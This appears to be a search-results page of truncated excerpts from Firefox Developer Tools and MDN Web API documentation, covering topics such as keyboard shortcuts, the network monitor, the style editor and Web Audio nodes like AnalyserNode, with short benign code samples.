new declarative environment, which is the eval code’s lexicalenvironment.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, this call throws an error exception. theoptions argument is as for debugger.frame.prototype.eval, described above. also like eval, if this frame’s environment property is null or type property is wasmcall, throw a ...
All keyboard shortcuts - Firefox Developer Tools
for each tool, which lists the shortcuts that you can use within that tool. because access keys are locale-dependent, they're not documented in this page. opening and closing tools these shortcuts work in the main browser window to open the specified tool. the same shortcuts will work to close tools hosted in the toolbox, if the tool is active. for tools like the browser console that open in a
new window, you have to close the window to close the tool. command windows macos linux open toolbox (with the most recent tool activated) ctrl + shift + i cmd + opt + i ctrl + shift + i bring toolbox to foreground (if the toolbox is in a separate window and not in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 ...
...gh matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a
new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocompl...
...e, insert the result as a comment ctrl + l cmd + l ctrl + l re-evaluate current function ctrl + e cmd + e ctrl + e reload the current page, then run scratchpad code ctrl + shift + r cmd + shift + r ctrl + shift + r save the pad ctrl + s cmd + s ctrl + s open an existing pad ctrl + o cmd + o ctrl + o create a
new pad ctrl + n cmd + n ctrl + n close scratchpad ctrl + w cmd + w ctrl + w pretty print the code in scratchpad ctrl + p cmd + p ctrl + p show autocomplete suggestions ctrl + space ctrl + space ctrl + space show inline documentation ctrl + shift + space ctrl + shift + space ctrl + shift + space eyedropper ...
Dominators view - Firefox Developer Tools
this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. if you already know what shallow size, retained size, and dominators are, skip to the dominators ui section. otherwise, you might want to review the article on dominators concepts. dominators ui to see the dominators view for a snapshot, select "dominators" in the "view" drop-down list. ...
...tors ui section. otherwise, you might want to review the article on dominators concepts. dominators ui to see the dominators view for a snapshot, select "dominators" in the "view" drop-down list. it looks something like this: the dominators view consists of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (
new in firefox 47) shows the 5 shortest retaining paths for a single node. dominators tree panel the dominators tree tells you which objects in the snapshot are retaining the most memory. in the main part of the ui, the first row is labeled "gc roots". immediately underneath that is an entry for: every gc root node. in gecko, there is more than one memory graph, and therefore more than one r...
..., and the file, line number and character position of the exact spot where the function allocated it. clicking the file name will take you to that spot in the debugger. sometimes you'll see "(no stack available)" here. in particular, allocation stacks are currently only recorded for objects, not for arrays, strings, or internal structures. retaining paths panel the retaining paths panel is
new in firefox 47. the retaining paths panel shows you, for a given node, the 5 shortest paths back from this node to a gc root. this enables you to see all the nodes that are keeping the given node from being garbage-collected. if you suspect that an object is being leaked, this will show you exactly which objects are holding a reference to it. to see the retaining paths for a node, you have to se...
Migrating from Firebug - Firefox Developer Tools
ll as the css and xpath to it via the context menu of an element. the page inspector provides the same functionality except copying xpaths. this is covered by bug 987877. edit css both tools allow to view and edit the css rules related to the element selected within the node view in a similar way. firebug has a style side panel for this, the devtools have a rules side panel. in firebug you add
new rules by right-clicking and choosing add rule... from the context menu. the devtools also have a context menu option for that named add
new rule and additionally have a + button within the rules panel's toolbar to create
new rules. to edit element styles, i.e. the css properties of the style attribute of an element, in firebug you have to right-click into the style side panel and choose edit ele...
...63933. debugger what's the script panel in firebug, is the debugger panel in the devtools. both allow you to debug javascript code executed on a website. switch between sources firebug has a script location menu listing all javascript sources related to the website. those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via event handlers, eval(),
new function(), etc.). in the devtools' debugger panel the scripts are listed at the left side within the sources side panel. dynamically generated scripts are only listed there when they are named via a //# sourceurl comment. managing breakpoints in firebug you can set different types of breakpoints, which are all listed within the breakpoints side panel. in the devtools the breakpoints are shown ...
...s that it is empty when the script execution is not stopped, i.e. it doesn't display the window object. though you can inspect that object either via the dom property viewer or via the web console. style editor the style editor in the firefox devtools allows you to examine and edit the different css style sheets of a page like firebug's css panel does it. in addition to that it allows to create
new style sheets and to import existing style sheets and apply them to the page. it also allows you to toggle individual style sheets. switch between sources the css panel of firebug allows to switch between different css sources using the css location menu. the style editor has a sidebar for this purpose. edit a style sheet firebug's css panel offers three different ways for editing style sheets...
Network request details - Firefox Developer Tools
the screenshots and descriptions in this section reflect firefox 78. earlier versions appeared similarly, but might not include some functionality. ...
...response is html, a preview of the rendered html appears inside the response tab, above the response payload. timings tab the timings tab provides information about how long each stage of a network request took, with a more detailed, annotated, view of the timeline bar, so it is easy to locate performance bottlenecks. this tab can include the following sections. queued, started, downloaded
new in firefox 72, we now show the following timings at the top of the timings tab, making dependency analysis a lot easier: queued: when the resource was queued for download. started: when the resource started downloading. downloaded: when the the resource finished downloading. note: future versions will also show this information when entries in the network monitor timeline graph are moused...
...til a connection is released. dns resolution time taken to resolve a host name. connecting time taken to create a tcp connection. sending time taken to send the http request to the server. waiting waiting for a response from the server. receiving time taken to read the entire response from the server (or cache). server timing
new in firefox 71, the server timing section lists any information provided in the server-timing header — this is used to surface any backend server timing metrics you've recorded (e.g. database read/write, cpu time, file system access, etc.). the header takes a series of descriptions and durations, which can be anything you like. in the above screenshot for example, the highlighted request's serv...
Network request list - Firefox Developer Tools
the request list of the network monitor shows a list of all the network requests made in the course of loading the page. network request list by default, the network monitor shows a list of all the network requests made in the course of loading the page. each request is displayed in its own row: by default, the network monitor is cleared each time you navigate to a
new page or reload the current page. you can override this behavior by checking "enable persistent logs" in the settings. network request columns you can toggle columns on and off by right-clicking on the table header and choosing the specific column from the context menu. a reset columns command is available on the context menu to reset the columns to their initial configuration. you can also change the width of the columns...
...to transfer the data, this column is hidden by default. scheme: the scheme (https/http/ftp/...) of the path requested. this column is hidden by default. remote ip: the ip address of the server answering the request. this column is hidden by default. type: content-type of the response. cookies: the number of request cookies associated to the request. this column is hidden by default. this is
new in firefox 55. set-cookies: the number of response cookies associated to the request. this column is hidden by default. this is
new in firefox 55. transferred: the number of bytes that were actually transferred to load the resource, or a message about why the resource was not transferred. a number value is less than size if the resource was compressed. if the resource was fetched from a s...
...ialog, so you can save it to a file. resend resends the request as it was originally sent with no changes made. edit and resend opens an editor enabling you to edit the request's method, url, parameters, and headers, and resend the request. block url blocks the selected url for future requests. see blocking a specific url from the request list. open in
new tab resends the request in a
new tab — very useful for debugging asynchronous requests. open in style editor for a css resource, opens it in the style editor. start performance analysis use as fetch in console submits the request as a call to the fetch() method in the console. copy as curl the command may include the following options: -...
Intensive JavaScript - Firefox Developer Tools
ile. using web workers in this version we'll try to fix the problem using a web worker. web workers enable you to run javascript in a separate thread. the main thread and the worker thread can't call each other directly, but communicate using an asynchronous messaging api. ...
...rker.addeventlistener("message", handleworkercompletion, false); worker.postmessage({ "multiplier": multiplier, "iterations": iterations }); } the main difference here, compared with the original, is that we need to: create a worker send it a message when we are ready to calculate listen for a message called "done", which indicates that the worker has finished. ...
...reak; } } if (isprime) { primes.push(candidate); } } return primes; } in the worker, we have to listen for a message telling us to start, and send a "done" message back when we are done. the code that actually performs the computations is exactly the same as the original code. so how does this version perform? switch the radio button to "use a worker", and capture a
new profile. you should see something like this: in this profile we pushed the button three times. compared with the original, each button-press is visible in the overview as two very short orange markers: the dopointlesscomputationsinworker() function that handles the click event and starts the worker's processing the handleworkercompletion() function that runs when the worker calls "done". ...
Style Editor - Firefox Developer Tools
the toolbox will appear at the bottom of the browser window, with the style editor activated: the style editor is divided into three main sections: the style sheet pane on the left the editor on the right the media sidebar. ...
... toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. you can save any changes you've made to the style sheet to your local computer by clicking the save button in the bottom-right corner of each sheet's entry in the list. from firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a
new tab. the editor pane on the right is the editor pane. this is where the source for the selected style sheet is available for you to read and edit. any changes you make are immediately applied to the page. this makes it easy to experiment with, revise, and test changes. once you're satisfied with your changes, you can save a copy locally by clicking the save button on the sheet's entry in the st...
...uery doesn’t currently apply. the media sidebar works especially well with responsive design view for creating and debugging responsive layouts: from firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the responsive design view: creating and importing style sheets you can create a
new style sheet by clicking the
new button in the toolbar. then you can just start entering css into the
new editor and watch as the
new styles are applied in real time just like changes to the other sheets. you can load a style sheet from disk and apply it to the page by clicking the import button. source map support web developers often create css files using a preprocessor like sass, less, or...
Web Audio Editor - Firefox Developer Tools
sure that all the nodes are connected in the way you expect. you can then examine and edit the audioparam properties for each node in the graph. some non-audioparam properties, like an oscillatornode's type property, are displayed, and you can edit these as well. this tool is still experimental. if you find bugs, we'd love it if you filed them in bugzilla. if you have feedback or suggestions for
new features, dev-developer-tools or twitter are great places to register them. opening the web audio editor the web audio editor is not enabled by default in firefox 32. to enable it, open the developer tool settings and check "web audio". now there should be an extra tab in the toolbox toolbar labeled "web audio". click the tab and load a page that constructs an audio context. two good demos are:...
... wave as you move the mouse pointer visualizing the graph the web audio editor will now display the graph for the loaded audio context. here's the graph for the violent theremin demo: you can see that it uses three nodes: an oscillatornode as the source, a gainnode to control the volume, and an gainnode as the destination. connections to audioparams displaying connections to audioparams is
new in firefox 34. connections between nodes are displayed as solid lines. if, instead, you've connected a node to an audioparam in another node, then the connection is shown as a dashed line between the nodes, and is labeled with the name of the audioparam: inspecting and modifying audionodes if you click on a node, it's highlighted and you get a node inspector on the right hand side. this list ...
...at the oscillatornode looks like: with the violent theremin demo, the frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector. however, the value isn't updated in real time: you have to click the node again to see the updated value. if you click on a value in the node inspector you can modify it: press enter or tab and the
new value takes effect immediately. bypassing nodes
new in firefox 38. in the pane that shows you the node's details, there's an on/off button: click it, and the graph will be modified to bypass this node, so it will no longer have any effect. nodes that are bypassed are shown with a hatched background: ...
The JavaScript input interpreter - Firefox Developer Tools
ocument.getelementbyid("frame1"); cd(frame.contentwindow); to switch the context back to the top-level window, call cd() with no arguments: cd(); for example, suppose we have a document that embeds an iframe: <!doctype html> <html> <head> <meta charset="utf-8"> </head> <body> <iframe id="frame1" src="static/frame/my-frame1.html"></iframe> </body> </html> the iframe defines a
new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper comman...
... switch javascript evaluation context to a different iframe in the page. this helper accepts multiple different ways of identifying the frame to switch to. you can supply any of the following: a selector string that will be passed to document.queryselector to locate the iframe element the iframe element itself the content window inside the iframe see working with iframes. copy()
new in firefox 38. copy the argument to the clipboard. if the argument is a string, it's copied as-is. if the argument is a dom node, its outerhtml is copied. otherwise, json.stringify will be called on the argument, and the result will be copied to the clipboard. clearhistory()
new in firefox 39. just like a normal command line, the console command line remembers the commands you've typed. use thi...
...create a screenshot of the current page with the supplied filename. ...
AbortController - Web APIs
properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. ...
... properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. ...
... associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller =
new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ...
AbortSignal: abort event - Web APIs
the abort event of the fetch api is fired when a fetch request is aborted, i.e. using abortcontroller.abort(). bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a
new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. ...
... event event handler onabort examples in the following snippets, we create a
new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. ...
...eck whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. you can use the abort event in an addeventlistener method: var controller =
new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller =
new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status domthe definition of 'abort' in that specification. living standard ...
AbsoluteOrientationSensor - Web APIs
rometer', 'gyroscope', and 'magnetometer' device sensors through the permissions api. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor absoluteorientationsensor.absoluteorientationsensor() creates a
new absoluteorientationsensor object. properties no specific properties; inherits methods from its ancestors orientationsensor and sensor. event handlers no specific event handlers; inherits methods from its ancestor, sensor. methods no specific methods; inherits methods from its ancestors orientationsensor and sensor. examples basic example the following example, which is loosely based on ...
...ts ancestors orientationsensor and sensor. examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second. on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone. const options = { frequency: 60, referenceframe: 'device' }; const sensor =
new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation...
...n).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors. because the permissions uses promises, a good way to request permissions is to use promise.all. const sensor =
new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ... } else { co...
AddressErrors - Web APIs
ideally suggestions to correct the problem. usage notes keep in mind that some violation errors may be outside the ability of the user to fix. try to avoid asking the user to make corrections to things they can't change, and there may be situations in which you need to allow validation errors to be accepted anyway (for example, if you validate addresses against a postal service database and a
new home has been built and its address is not yet in the database). examples snippet: limiting destination countries this first example is just a snippet showing an implementation of the event handler for the shippingaddresschange event which checks to be sure the chosen address is located within one of a limited number of countries. function handleaddresschange(ev) { const validcountries = ["...
...being requested (including a label and the currency used), a list of the line items (in this case only one, "original donation amount"), and a list of shipping options available; in this case only one. process the payment the main payment processing code is found in the process() method, up next. let request; function process() { let options = {requestshipping: true}; try { request =
new paymentrequest(supportedhandlers, defaultpaymentdetails, options); // add event listeners here. request.onshippingaddresschange = handleaddresschange; // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log("got response!"); }) .catch(function(err) { ...
...t.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log("got response!"); }) .catch(function(err) { // do something with the error from request.show(). console.error(`error from show(): ${err}`); }); } catch (e) { // catch any errors from trying to create the paymentrequest object. } } this code creates a
new paymentrequest, providing the supported handlers and payment options we set up above, as well as additional options (in this case, that we want to ask for shipping information). after that, we set up the handler for the shippingaddresschange event so we can validate address information and call the request's show() method to start running the payment ui. handling address changes the handleaddr...
AnalyserNode.getByteFrequencyData() - Web APIs
for a specific frequency. the frequencies are spread linearly from 0 to 1/2 of the sample rate. for example, for 48000 sample rate, the last item of the array will represent the decibel value for 24000 hz. if the array has fewer elements than the analysernode.frequencybincount, excess elements are dropped. if it has more elements than needed, excess elements are ignored. syntax var audioctx =
new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray =
new uint8array(analyser.frequencybincount); // uint8array should be the same length as the frequencybincount void analyser.getbytefrequencydata(dataarray); // fill the uint8array with data returned from getbytefrequencydata() parameters array the uint8array that the frequency domain data will be copied to. for any ...
...return value none. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. for more examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
... style" output of the current audio input. for more examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ... ...
AnalyserNode.maxDecibels - Web APIs
property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata(). syntax var curvalue = analysernode.maxdecibels; analysernode.maxdecibels =
newvalue; value a double, representing the maximum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc. the default value is -30 db. when getting data from getfloatfrequencydata() or getbytefrequencydata(), any frequencies with an amplitude of maxdecibels or higher will be returned as +1.0 or 255, respectively. note: if a value...
...own. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...ples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ... ...
AnalyserNode.minDecibels - Web APIs
property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the minimum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata(). syntax var curvalue = analysernode.mindecibels; analysernode.mindecibels =
newvalue; value a double, representing the minimum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc. the default value is -100 db. when getting data from getfloatfrequencydata() or getbytefrequencydata(), any frequencies with an amplitude of mindecibels or lower will be returned as 0.0 or 0, respectively. note: if a value g...
...wn. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...ples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ... ...
AnalyserNode.smoothingTimeConstant - Web APIs
timeconstant property of the analysernode interface is a double value representing the averaging constant with the last analysis frame. it's basically an average between the current buffer and the last buffer the analysernode processed, and results in a much smoother set of value changes over time. syntax var smoothvalue = analysernode.smoothingtimeconstant; analysernode.smoothingtimeconstant =
newvalue; value a double within the range 0 to 1 (0 meaning no time averaging). the default value is 0.8. if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls. in technical terms, w...
...ut of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). if you are curious about the effect the smoothingtimeconstant() has, try cloning the above example and setting analyser.smoothingtimeconstant = 0; instead. you'll notice that the value changes are much more jarring. ...
...stead. you'll notice that the value changes are much more jarring. var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; analyser.smoothingtimeconstant = 0.85; ... ...
Animation.finished - Web APIs
syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running. ...
... syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running. ...
... syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running. ...
AudioBufferSourceNode - Web APIs
-events: all;} an audiobuffersourcenode has no inputs and exactly one output, which has the same number of channels as the audiobuffer indicated by its buffer property. if there's no buffer set—that is, if buffer is null—the output contains a single channel of silence (every sample is 0). an audiobuffersourcenode can only be played once; after each call to start(), you have to create a
new node if you want to play the same sound again. fortunately, these nodes are very inexpensive to create, and the actual audiobuffers can be reused for multiple plays of the sound. indeed, you can use these nodes in a "fire and forget" manner: create the node, call start() to begin playing the sound, and don't even bother to hold a reference to it. it will automatically be garbage-collected at an a...
...ter the sound has finished playing. multiple calls to stop() are allowed. the most recent call replaces the previous one, if the audiobuffersourcenode has not already reached the end of the buffer. number of inputs 0 number of outputs 1 channel count defined by the associated audiobuffer constructor audiobuffersourcenode() creates and returns a
new audiobuffersourcenode object. an audiobuffersourcenode can be instantiated using the audiocontext.createbuffersource() method. properties inherits properties from its parent, audionode. audiobuffersourcenode.buffer an audiobuffer that defines the audio asset to be played, or when set to the value null, defines a single channel of silence (in which every sample is 0.0). audiobuffersourceno...
...e. audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback immediately. examples in this example, we create a two-second buffer, fill it with white noise, and then play it using an audiobuffersourcenode. the comments should clearly explain what is going on. you can also run the code live, or view the source. ...
AudioContext.createJavaScriptNode() - Web APIs
, 2048, 4096, 8192, or 16384. it controls the frequency of callbacks asking for a buffer refill. smaller sizes allow for lower latency and higher for better overall quality. numinputchannels the number of input channels in the audio stream. numoutputchannels the number of output channels in the audio stream. ...
...tream. numoutputchannels the number of output channels in the audio stream. ...
...function(context) { var that = this; this.x = 0; // initial sample number this.context = context; this.node = context.createjavascriptnode(1024, 1, 1); this.node.onaudioprocess = function(e) { that.process(e) }; } si
newave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); } } si
newave.prototype.play = function() { this.node.connect(this.context.destination); } si
newave.prototype.pause = function() { this.node.disconnect(); } see also generating tones with the web audio api exploring the html5 web audio: visualizing sound ...
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a
new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated. for more details about media stream audio source nodes, check out the mediastreamaudiosourcenode reference page. syntax audiosourcenode = audiocontext.createmediastreamsource(stream); parameters stream a mediastream to serve as an audio source to be fed into an audio processing graph for use and manipulation. return value a
new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream. example in this example, we grab a media (audio + video) stream from navigator.getu...
...ole.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx =
new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the...
...lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get
new mouse pointer coordinates when mouse is moved // then set
new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.inn...
AudioContext.createMediaStreamTrackSource() - Web APIs
audiocontext interface creates and returns a mediastreamtrackaudiosourcenode which represents an audio source whose data comes from the specified mediastreamtrack. this differs from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically). syntax var audioctx =
new audiocontext(); var track = audioctx.createmediastreamtracksource(track); parameters track the mediastreamtrack to use as the source of all audio data for the
new node. return value a mediastreamtrackaudiosourcenode object which acts as a source for audio data found in the specified audio track. example in this example, getusermedia() is used to request access to the user's microphone. ...
...stablished and a mediastreamtrackaudiosourcenode is created using createmediastreamtracksource(), taking its audio from the first audio track in the stream returned by getusermedia(). then a biquadfilternode is created using createbiquadfilter(), and it's configured as desired to perform a lowshelf filter on the audio coming from the source. ...
...ming from the source. the output from the microphone is then routed into the
new biquad filter, and the filter's output is in turn routed to the audio context's destination. ...
AudioContextOptions.sampleRate - Web APIs
syntax audiocontextoptions.samplerate = 44100; var samplerate = audiocontextoptions.samplerate; value the desired sample rate for the audiocontext, specified in samples per second. the value must be compatible with audiobuffer.samplerate. ...
... syntax audiocontextoptions.samplerate = 44100; var samplerate = audiocontextoptions.samplerate; value the desired sample rate for the audiocontext, specified in samples per second. the value must be compatible with audiobuffer.samplerate. ...
...diocontext, specified in samples per second. the value must be compatible with audiobuffer.samplerate. this value should typically be between 8,000 hz and 96,000 hz; the default will vary depending on the output device, but the sample rate 44,100 hz is the most common. if the samplerate property is not included in the options, or the options are not specified when creating the audio context, the
new context's output device's preferred sample rate is used by default. specifications specification status comment web audio apithe definition of 'audiocontextoptions.samplerate' in that specification. working draft initial definition. ...
AudioListener - Web APIs
d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
AudioParam.exponentialRampToValueAtTime() - Web APIs
note: exponential ramps are considered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works. ...
... note: exponential ramps are considered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works. ...
...ource with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, exponentialramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively. ...
AudioParam.linearRampToValueAtTime() - Web APIs
syntax var audioparam = audioparam.linearramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. ...
... syntax var audioparam = audioparam.linearramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. ...
...the example live.) when these buttons are pressed, linearramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively. this is pretty useful for fade in/fade out effects, although audioparam.exponentialramptovalueattime() is often said to be a bit more natural. ...
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a
new audio track has been added to the media element whose audio tracks the audiotracklist represents. the event is passed into the event handler in the form of a trackevent object, whose track property identifies the
newly-added track. note: you can also add a handler for the addtrack event using addeventlistener(). syntax audiotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been added to the media. ...
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each audio track in the media resource. ...
...nt whose audio tracks are represented by the audiotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each audio track in the media resource. example this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the audiotrack object representing the
newly-added track. in this scenario, that function's role is to add the
new track to a list of audio tracks available to choose from. document.queryselector("video").audiotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'audiotracklist.onaddtrack' in that specificat...
AudioWorkletGlobalScope.registerProcessor - Web APIs
name a string representing the name under which the processor will be registered. processorctor the constructor of a class derived from audioworkletprocessor. note: a key-value pair { name: constructor } is saved internally in the audioworkletglobalscope once the processor is registered. the name is to be referred to when creating an audioworkletnode based on the registered processor. a
new processor by the given name is internally created and associated with the
new node. return value undefined exceptions notsupportederror the name is an empty string, or a constructor under the given name is already registered. registering the same name twice is not allowed. typeerror the processorctor is not a callable constructor, or the parameterdescriptors property o...
... working draft ...
...return true } } registerprocessor('test-processor', testprocessor) next, in our main script file we'll load the processor, create an instance of audioworkletnode — passing it the processor name that we used when calling registerprocessor — and connect it to an audio graph. const audiocontext =
new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const node =
new audioworkletnode(audiocontext, 'test-processor') node.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'registerprocessor()' in that specification. working draft ...
AuthenticatorAttestationResponse.getTransports() - Web APIs
sb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). ...
...cannot be removed). ...
... recommenda...
BaseAudioContext.createAnalyser() - Web APIs
lysernode. example the following example shows basic usage of an audiocontext to create an analyser node, then use requestanimationframe() to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...illoscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ... ...
...ser.frequencybincount; var dataarray =
